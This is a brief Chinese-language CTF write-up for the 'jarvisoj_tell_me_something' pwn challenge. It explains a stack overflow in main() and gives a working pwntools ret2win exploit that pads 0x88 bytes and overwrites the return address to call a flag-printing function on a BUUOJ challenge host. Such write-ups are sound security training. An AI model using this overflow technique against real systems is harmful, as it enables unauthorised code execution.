jarvisoj_tell_me_something

jarvisoj_tell_me_something

使用checksec查看：

看来又是一道栈溢出的题目，直接放IDA查看：

一眼看过去,main()函数中就已经存在栈溢出了

查看字符串可以发现,存在一个flag.txt的字符串,跟进函数查看:

这个函数读取并打印了flag,so…我们只需要return到这个函数即可

需要注意的是:

函数起始的时候并没有将rbp压入栈中,结束的时候也没有leave

所以我们在ret的时候不需要加上偏移,直接在0x88后面加上要ret的函数的地址

exp:

from pwn import *

#start 
r = remote("node4.buuoj.cn",28428)
# r = process("../buu/jarvisoj_tell_me_something")

#params
good_game_addr = 0x400620

#attack
payload = b'M'*0x88 + p64(good_game_addr)
r.sendline(payload)

r.interactive()